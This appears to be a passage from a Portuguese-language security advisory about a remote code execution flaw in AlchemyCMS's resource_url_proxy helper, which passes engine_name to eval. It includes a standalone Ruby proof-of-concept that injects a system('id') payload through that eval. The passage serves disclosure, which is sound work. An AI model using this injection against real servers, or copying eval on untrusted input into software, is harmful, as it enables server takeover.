def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
A presença da diretiva # rubocop:disable Security/Eval confirma que as implicações de segurança do uso de eval() foram reconhecidas, mas ignoradas durante a implementação.

3. Prova de Conceito (PoC)
Vetor de Ataque
A vulnerabilidade é acionada na interface administrativa do AlchemyCMS ao renderizar visualizações baseadas em recursos (por exemplo, Sites ou Languages). Se um atacante conseguir manipular a configuração do módulo ou os dados subjacentes do recurso, ele poderá obter execução.

Script de Exploração Autônomo
O script a seguir demonstra a execução arbitrária de código simulando o ambiente vulnerável do método auxiliar:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload: Executa o comando 'id' do sistema e cria arquivo de evidência
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Evidência de Execução
Após a execução, o comando do sistema é processado, concedendo ao atacante acesso ao ambiente do servidor.